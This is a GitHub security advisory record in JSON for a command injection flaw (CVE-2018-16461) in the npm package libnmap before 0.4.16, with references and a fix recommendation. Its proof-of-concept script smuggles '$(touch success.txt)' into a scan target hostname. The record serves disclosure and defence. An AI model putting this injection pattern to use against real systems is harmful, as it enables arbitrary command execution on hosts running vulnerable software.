{"id":"GHSA-7g2w-6r25-2j7p","summary":"Command Injection in libnmap","details":"Versions of `libnmap` before 0.4.16 are vulnerable to command injection. \n\nProof of concept\n\n```js\nconst nmap = require('libnmap');\nconst opts = {\n    range: [\n        'scanme.nmap.org',\n        \"x.x.$(touch success.txt)\"\n    ]\n};\nnmap.scan(opts, function(err, report) {\n    if (err) throw new Error(err);\n\n    for (let item in report) {\n        console.log(JSON.stringify(report[item]));\n    }\n});\n```\n\n\n## Recommendation\n\nUpdate to version 0.4.16 or later","aliases":["CVE-2018-16461"],"modified":"2023-11-08T03:59:59.515770Z","published":"2018-11-01T14:51:33Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2020-06-16T21:22:42Z","nvd_published_at":null,"cwe_ids":["CWE-77"]},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-16461"},{"type":"WEB","url":"https://hackerone.com/reports/390865"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-7g2w-6r25-2j7p"},{"type":"WEB","url":"https://github.com/nodejs/security-wg/blob/master/vuln/npm/474.json"},{"type":"WEB","url":"https://www.npmjs.com/advisories/719"}],"affected":[{"package":{"name":"libnmap","ecosystem":"npm","purl":"pkg:npm/libnmap"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.4.16"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/11/GHSA-7g2w-6r25-2j7p/GHSA-7g2w-6r25-2j7p.json"}}],"schema_version":"1.9.0"}